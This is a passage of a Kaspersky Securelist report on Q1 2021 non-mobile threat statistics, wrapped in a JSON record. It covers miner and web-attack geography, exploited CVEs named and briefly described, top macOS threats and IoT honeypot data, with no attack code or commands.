([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111053/07-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of miner attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111128/08-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 4.65 \n2 | Ethiopia | 3.00 \n3 | Rwanda | 2.37 \n4 | Uzbekistan | 2.23 \n5 | Kazakhstan | 1.81 \n6 | Sri Lanka | 1.78 \n7 | Ukraine | 1.59 \n8 | Vietnam | 1.48 \n9 | Mozambique | 1.46 \n10 | Tanzania | 1.45 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyber attacks\n\nIn Q1 2021, we noted a drop in the share of exploits for vulnerabilities in the Microsoft Office suite, but they still lead the pack with 59%. The most common vulnerability in the suite remains [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), a stack buffer overflow that occurs when processing objects in the Equation Editor component. Exploits for [CVE-2015-2523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2523>) \u2014 use-after-free vulnerabilities in Microsoft Excel \u2014 and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>), which we&#x27;ve often written about, were also in demand. Note the age of these vulnerabilities \u2014 even the latest of them was discovered almost three years ago. So, once again, we remind you of the importance of regular updates.\n\nThe first quarter was rich not only in known exploits, but also new zero-day vulnerabilities. In particular, the interest of both [infosec experts](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals was piqued by vulnerabilities in the popular Microsoft Exchange Server:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>)\u2014 a service-side request forgery vulnerability that allows remote code execution (RCE)\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>)\u2014 an insecure deserialization vulnerability in the Unified Messaging service that can lead to code execution on the server\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>)\u2014 a post-authorization arbitrary file write vulnerability in Microsoft Exchange, which could also lead to remote code execution\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>)\u2014 as in the case of [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), allows an authorized Microsoft Exchange user to write data to an arbitrary file in the system\n\nFound [in the wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), these vulnerabilities were used by APT groups, including as a springboard for ransomware distribution.\n\nDuring the quarter, vulnerabilities were also identified in Windows itself. In particular, the [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1732>) vulnerability allowing privilege escalation was discovered in the Win32k subsystem. Two other vulnerabilities, [CVE-2021-1647](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1647>) and [CVE-2021-24092](<https://nvd.nist.gov/vuln/detail/CVE-2021-24092>), were found in the Microsoft Defender antivirus engine, allowing elevation of user privileges in the system and execution of potentially dangerous code.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111159/09-en-malware-report-q1-2021-pc.png>))_\n\nThe second most popular were exploits for browser vulnerabilities (26.12%); their share in Q1 grew by more than 12 p.p. Here, too, there was no doing without newcomers: for example, the Internet Explorer script engine was found to contain the [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411>) vulnerability, which can lead to remote code execution on behalf of the current user through manipulations that corrupt the heap memory. This vulnerability was exploited by the [Lazarus](<https://securelist.ru/tag/lazarus/>) group to download malicious code and infect the system. Several vulnerabilities were discovered in Google Chrome:\n\n * [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21148>)\u2014 heap buffer overflow in the V8 script engine, leading to remote code execution\n * [CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>)\u2014 overflow and unsafe reuse of an object in memory when processing audio data, also enabling remote code execution\n * [CVE-2021-21139](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21139>)\u2014 bypassing security restrictions when using an iframe.\n\nOther interesting findings include a critical vulnerability in VMware vCenter Server, [CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>), which allows remote code execution without any rights. Critical vulnerabilities in the popular SolarWinds Orion Platform \u2014 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>) and [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>) \u2014 caused a major splash in the infosec environment. They gave attackers the ability to infect computers running this software, usually machines inside corporate networks and government institutions. Lastly, the [CVE-2021-21017](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21017>) vulnerability, discovered in Adobe Reader, caused a heap buffer overflow by means of a specially crafted document, giving an attacker the ability to execute code.\n\nAnalysis of network threats in Q1 2021 continued to show ongoing attempts to attack servers with a view to brute-force passwords for network services such as Microsoft SQL Server, RDP and SMB. Attacks using the popular EternalBlue, EternalRomance and other similar exploits were widespread. Among the most notable new vulnerabilities in this period were bugs in the Windows networking stack code related to handling the IPv4/IPv6 protocols: [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>).\n\n## Attacks on macOS\n\nQ1 2021 was also rich in macOS-related news. Center-stage were cybercriminals who took pains to modify their [malware for the newly released MacBooks with M1 processors](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>). Updated adware for the new Macs also immediately appeared, in particular the [Pirrit family](<https://objective-see.com/blog/blog_0x62.html>) (whose members placed high in our Top 20 threats for macOS). In addition, we detected an interesting adware program written in the Rust language, and assigned it the verdict [AdWare.OSX.Convuster.a](<https://securelist.ru/convuster-macos-adware-in-rust/100859/>).\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.ac | 18.01 \n2 | AdWare.OSX.Pirrit.j | 12.69 \n3 | AdWare.OSX.Pirrit.o | 8.42 \n4 | AdWare.OSX.Bnodlero.at | 8.36 \n5 | Monitor.OSX.HistGrabber.b | 8.06 \n6 | AdWare.OSX.Pirrit.gen | 7.95 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.90 \n8 | AdWare.OSX.Cimpli.m | 6.17 \n9 | AdWare.OSX.Pirrit.aa | 6.05 \n10 | Backdoor.OSX.Agent.z | 5.27 \n11 | Trojan-Downloader.OSX.Agent.h | 5.09 \n12 | AdWare.OSX.Bnodlero.bg | 4.60 \n13 | AdWare.OSX.Ketin.h | 4.02 \n14 | AdWare.OSX.Bnodlero.bc | 3.87 \n15 | AdWare.OSX.Bnodlero.t | 3.84 \n16 | AdWare.OSX.Cimpli.l | 3.75 \n17 | Trojan-Downloader.OSX.Lador.a | 3.61 \n18 | AdWare.OSX.Cimpli.k | 3.48 \n19 | AdWare.OSX.Ketin.m | 2.98 \n20 | AdWare.OSX.Bnodlero.ay | 2.94 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nTraditionally, most of the Top 20 threats for macOS are adware programs: 15 in Q1. In the list of malicious programs, Trojan-Downloader.OSX.Shlayer.a (7.90%) maintained its popularity. Incidentally, this Trojan&#x27;s task is to download adware from the Pirrit and Bnodlero families. But we also saw the reverse, when a member of the AdWare.OSX.Pirrit family dropped Backdoor.OSX.Agent.z into the system.\n\n### Threat geography\n\n_Geography of threats for macOS, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111228/10-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 4.62 \n2 | Spain | 4.43 \n3 | Italy | 4.36 \n4 | India | 4.11 \n5 | Canada | 3.59 \n6 | Mexico | 3.55 \n7 | Russia | 3.21 \n8 | Brazil | 3.18 \n9 | Great Britain | 2.96 \n10 | USA | 2.94 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000) \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q1 2021, Europe accounted for the Top 3 countries by share of attacked macOS users: France (4.62%), Spain (4.43%) and Italy (4.36%). The most common threats in all three were adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2021, most of the devices that attacked Kaspersky traps did so using the Telnet protocol. A third of the attacking devices attempted to [brute-force](<https://encyclopedia.kaspersky.com/glossary/brute-force/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) our SSH traps.\n\nTelnet | 69.48% \n---|--- \nSSH | 30.52% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 77.81% \n---|--- \nSSH | 22.19% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2021_\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111259/11-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky Telnet traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | China | 33.40 \n2 | India | 13.65 \n3 | USA | 11.56 \n4 | Russia | 4.96 \n5 | Montenegro | 4.20 \n6 | Brazil | 4.19 \n7 | Taiwan, Province of China | 2.32 \n8 | Iran | 1.85 \n9 | Egypt | 1.84 \n10 | Vietnam | 1.73 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### SSH-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky SSH traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111335/12-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | USA | 24.09 \n2 | China | 19.89 \n3 | Hong Kong | 6.38 \n4 | South Korea | 4.37 \n5 | Germany | 4.06 \n6 | Brazil | 3.74 \n7 | Russia | 3.05 \n8 | Taiwan, Province of China | 2.80 \n9 | France | 2.59 \n10 | India | 2.36 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### Threats loaded into traps\n\n| Verdict | %* \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 50.50% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 9.26% \n3 | Backdoor.Linux.Gafgyt.a | 3.01% \n4 | HEUR:Trojan-Downloader.Shell.Agent.bc | 2.72% \n5 | Backdoor.Linux.Mirai.a | 2.72% \n6 | Backdoor.Linux.Mirai.ba | 2.67% \n7 | Backdoor.Linux.Agent.bc | 2.37% \n8 | Trojan-Downloader.Shell.Agent.p | 1.37% \n9 | Backdoor.Linux.Gafgyt.bj | 0.78% \n10 | Trojan-Downloader.Linux.Mirai.d | 0.66% \n \n_* Share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&amp;C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2021, Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources located across the globe. 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus.\n\n_Distribution of web attack sources by country, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111405/13-en-malware-report-q1-2021-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious objects that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 15.81 \n2 | Ukraine | 13.60 \n3 | Moldova | 13.16 \n4 | Kyrgyzstan | 11.78 \n5 | Latvia | 11.38 \n6 | Algeria | 11.16 \n7 | Russia | 11.11 \n8 | Mauritania | 11.08 \n9 | Kazakhstan | 10.62 \n10 | Tajikistan | 10.60 \n11 | Uzbekistan | 10.39 \n12 | Estonia | 10.20 \n13 | Armenia | 9.44 \n14 | Mongolia | 9.36 \n15 | France | 9.35 \n16 | Greece | 9.04 \n17 | Azerbaijan | 8.57 \n18 | Madagascar | 8.56 \n19 | Morocco | 8.55 \n20 | Lithuania | 8.53 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average, 7.67% of Internet user computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of web-based malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111435/14-en-malware-report-q1-2021-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users&#x27; computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2021, our File Anti-Virus detected **77,415,192** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 47.71 \n2 | Turkmenistan | 43.39 \n3 | Ethiopia | 41.03 \n4 | Tajikistan | 38.96 \n5 | Bangladesh | 36.21 \n6 | Algeria | 35.49 \n7 | Myanmar | 35.16 \n8 | Uzbekistan | 34.95 \n9 | South Sudan | 34.17 \n10 | Benin | 34.08 \n11 | China | 33.34 \n12 | Iraq | 33.14 \n13 | Laos | 32.84 \n14 | Burkina Faso | 32.61 \n15 | Mali | 32.42 \n16 | Guinea | 32.40 \n17 | Yemen | 32.32 \n18 | Mauritania | 32.22 \n19 | Burundi | 31.68 \n20 | Sudan | 31.61 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111505/15-en-malware-report-q1-2021-pc.png>))_\n\nOverall, 15.05% of user computers globally faced at least one **Malware-class** local threat during Q1.", "modified": "2021-05-31T10:00:05", "published": "2021-05-31T10:00:05", "id": "SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1", "href": "https://securelist.com/it-threat-evolution-q1-2021-non-mobile-statistics/102425/", "type": "securelist", "title": "IT threat evolution Q1 2021. Non-mobile statistics", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}